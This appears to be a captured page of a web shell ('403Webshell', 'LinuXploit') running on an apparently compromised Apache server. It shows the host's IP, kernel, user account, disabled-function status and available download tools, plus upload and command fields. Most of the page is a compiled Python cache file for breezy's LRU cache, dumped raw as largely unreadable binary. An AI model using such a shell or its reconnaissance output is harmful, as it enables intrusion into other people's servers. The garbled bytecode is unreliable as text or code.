403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/lru_cache.cpython-313.pyc
�

p��g-��`�SrSSKJr \"5r"SS5r"SS5r"SS\5rg	)
z)A simple least-recently-used (LRU) cache.�)�tracec�(�\rSrSrSrSrSrSrSrg)�_LRUNode�z:This maintains the linked-list which is the lru internals.)�key�next_key�prev�valuec�@�SUl[UlXlX lg�N)r	�	_null_keyrrr
)�selfrr
s   �2/usr/lib/python3/dist-packages/breezy/lru_cache.py�__init__�_LRUNode.__init__s����	�!��
����
�c���URcSnOURRnSRURRURUR
U5$)Nz{}({!r} n:{!r} p:{!r}))r	r�format�	__class__�__name__r)r�prev_keys  r�__repr__�_LRUNode.__repr__#sL���9�9���H��y�y�}�}�H�'�.�.��N�N�#�#�T�X�X�t�}�}�h�
�	
rN)	r�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__rr�__static_attributes__�rrrrs��D�4�I��
rrc��\rSrSrSrSSjrSrSrSrSr	S	r
SS
jrSrSr
S
rSrSrSrSrSSjrSSjrSrg)�LRUCache�-z?A class which manages a cache of entries, removing unused ones.Nc�P�0UlSUlSUlURX5 gr)�_cache�_most_recently_used�_least_recently_used�_update_max_cache�r�	max_cache�after_cleanup_counts   rr�LRUCache.__init__0s'�����#'�� �$(��!����y�>rc��XR;$r)r%)rrs  r�__contains__�LRUCache.__contains__8s���k�k�!�!rc�*�URnX!nURnX4LaUR$URnURnU[
LaXPlO
X&nXWlXelURUlX4lX0lSUlUR$r)r%r&r
r	rr
r'r)rr�cache�node�mru�	node_prevr�	node_nexts        r�__getitem__�LRUCache.__getitem__;s��������z��
�&�&���;��:�:���I�I�	��=�=���y� �)2�%���I�&�N�%������
���#'� ���	��z�z�rc�,�[UR5$r)�lenr%�rs r�__len__�LRUCache.__len__Zs���4�;�;��rc�T�U[La[S5eXR;a'URUnX#lUR	U5 O*[X5nX0RU'UR	U5 [
UR5UR:�aUR5 gg)�Add a new value to the cache.�cannot use _null_key as a keyN)	r
�
ValueErrorr%r
�_record_accessrr9�
_max_cache�cleanup)rrr
r2s    r�__setitem__�LRUCache.__setitem__]s����)���<�=�=��+�+���;�;�s�#�D��J�����%��C�'�D�#�K�K�������%��t�{�{��d�o�o�-��L�L�N�.rc��UR$)z(Get the number of entries we will cache.)rBr:s r�
cache_size�LRUCache.cache_sizens�����rc�~�URRUS5nUcU$URU5 UR$r)r%�getrAr
)rr�defaultr2s    rrJ�LRUCache.getrs8���{�{���s�D�)���<��N����D�!��z�z�rc�H�[URR55$)z�Get the list of keys currently cached.

Note that values returned here may not be available by the time you
request them later. This is simply meant as a peak into the current
state.

:return: An unordered list of keys that are currently cached.
)�listr%�keysr:s rrO�
LRUCache.keysys���D�K�K�$�$�&�'�'rc��URR5VVs0sHupXR_M snn$s snnf)z:Get a new dict with the same key:value pairs as the cache.)r%�itemsr
)r�k�ns   r�as_dict�LRUCache.as_dict�s1��'+�{�{�'8�'8�':�;�':�t�q��7�7�
�':�;�;��;s�:c��[UR5UR:�a6UR5 [UR5UR:�aM5gg)z�Clear the cache until it shrinks to the requested size.

This does not completely wipe the cache, just makes sure it is under
the after_cleanup_count.
N)r9r%�_after_cleanup_count�_remove_lrur:s rrC�LRUCache.cleanup�s@���$�+�+���!:�!:�:������$�+�+���!:�!:�:rc���URc
XlXlgXRLagXRLaURUlURbURURlUR[La*UR
URnURUlURRUlXRlXlSUlg)zRecord that key was accessed.N)r&r'r	rr
r%r�rr2r5s   rrA�LRUCache._record_access�s����#�#�+�'+�$�(,�%��
�-�-�
-���,�,�,�(,�	�	�D�%��9�9� �!%���D�I�I���=�=�	�)����D�M�M�2�I�!�Y�Y�I�N��0�0�4�4��
�(,� � �%�#'� ���	rc��XRLaURUlURRUR5 URcSUlURbURURlUR[La*URURnURUlSUl[Ulgr)r'r	r%�poprr&rr
r\s   r�_remove_node�LRUCache._remove_node�s����,�,�,�(,�	�	�D�%���������!��$�$�,�'+�D�$��9�9� �!%���D�I�I���=�=�	�)����D�M�M�2�I�!�Y�Y�I�N���	�!��
rc�:�URUR5 g)z�Remove one entry from the lru, and handle consequences.

If there are no more references to the lru, then this entry should be
removed from the cache.
N)r`r'r:s rrY�LRUCache._remove_lru�s��	
���$�3�3�4rc�n�UR(a$UR5 UR(aM#gg)zClear out all of the cache.N)r%rYr:s r�clear�LRUCache.clear�s"���k�k������k�k�krc�"�URXS9 g)z1Change the number of entries that will be cached.)r+N)r(r)s   r�resize�LRUCache.resize�s�����y��Rrc��XlUcURS-S-UlO[X R5UlUR5 g�N��
)rBrX�minrCr)s   rr(�LRUCache._update_max_cache�s>��#���&�(,���!�(;�r�(A�D�%�(+�,?���(Q�D�%����r)rXr%r'rBr&)�dNr)rrrrrrr.r6r;rDrGrJrOrUrCrAr`rYrerhr(rr rrr"r"-sV��I�?�"��> ��"��
(�<���4"� 5��S�rr"c�J�\rSrSrSrSSjrSrSrSrSSjr	SS	jr
S
rg)
�LRUSizeCache��aAAn LRUCache that removes things based on the size of the values.

This differs in that it doesn't care how many actual items there are,
it just restricts the cache to be cleaned up after so much data is stored.

The size of items added will be computed using compute_size(value), which
defaults to len() if not supplied.
Nc	��SUlX0lUc[UlURXS9 [RU[
[US-5S5S9 g)aMCreate a new LRUSizeCache.

:param max_size: The max number of bytes to store before we start
    clearing out entries.
:param after_cleanup_size: After cleaning up, shrink everything to this
    size.
:param compute_size: A function to compute the size of the values. We
    use a function here, so that you can pass 'len' if you are just
    using simple strings, or a more complex function if you are using
    something like a list of strings, or even a custom object.
    The function should take the form "compute_size(value) => integer".
    If not supplied, it defaults to 'len()'
�N��after_cleanup_size�r)r*)�_value_size�
_compute_sizer9�_update_max_sizer"r�max�int)r�max_sizerw�compute_sizes    rr�LRUSizeCache.__init__�sT�� ���)����!$�D�����h��N����$�#�c�(�c�/�.B�A�*F��Grc�b�U[La[S5eURRUS5nUR	U5nX@R
:�aC[R"SUUUR
UR5 UbURU5 gUc[X5nX0RU'O.U=RUR	UR5-slU=RU-
slURU5 URUR:�aUR5 gg)r>r?NzfAdding the key %r to an LRUSizeCache failed. value %d is too big to fit in a the cache with size %d %d)r
r@r%rJrz�_after_cleanup_sizer�mutter�	_max_sizer`rryr
rArC)rrr
r2�	value_lens     rrD�LRUSizeCache.__setitem__�s���)���<�=�=��{�{���s�D�)���&�&�u�-�	��0�0�0�
�L�L�#����(�(����
����!�!�$�'���<��C�'�D�#�K�K������� 2� 2�4�:�:� >�>�����I�%�����D�!����d�n�n�,��L�L�N�-rc��URUR:�a-UR5 URUR:�aM,gg)z�Clear the cache until it shrinks to the requested size.

This does not completely wipe the cache, just makes sure it is under
the after_cleanup_size.
N)ryr�rYr:s rrC�LRUSizeCache.cleanups:������!9�!9�9���������!9�!9�9rc��U=RURUR5-sl[R	X5 gr)ryrzr
r"r`)rr2s  rr`�LRUSizeCache._remove_node%s0�����D�.�.�t�z�z�:�:�����d�)rc�t�URXS9 [[US-5S5nURU5 g)z/Change the number of bytes that will be cached.rvrxrN)r{r|r}r()rr~rwr*s    rrh�LRUSizeCache.resize)s6�����h��N���H��O�,�a�0�	����y�)rc�z�XlUcURS-S-Ulg[X R5Ulgrk)r�r�rn)rr~rws   rr{�LRUSizeCache._update_max_size/s5��!���%�'+�~�~��'9�R�'?�D�$�'*�+=�~�~�'N�D�$r)r�rzr�ry)iNNr)rrrrrrrDrCr`rhr{rr rrrrrr�s/���KO�H�. �D�*�*�OrrrN)r�r�objectr
rr"rrr rr�<module>r�s;��"0���H�	�
�
�*h�h�V\O�8�\Or

Youez - 2016 - github.com/yon3zu
LinuXploit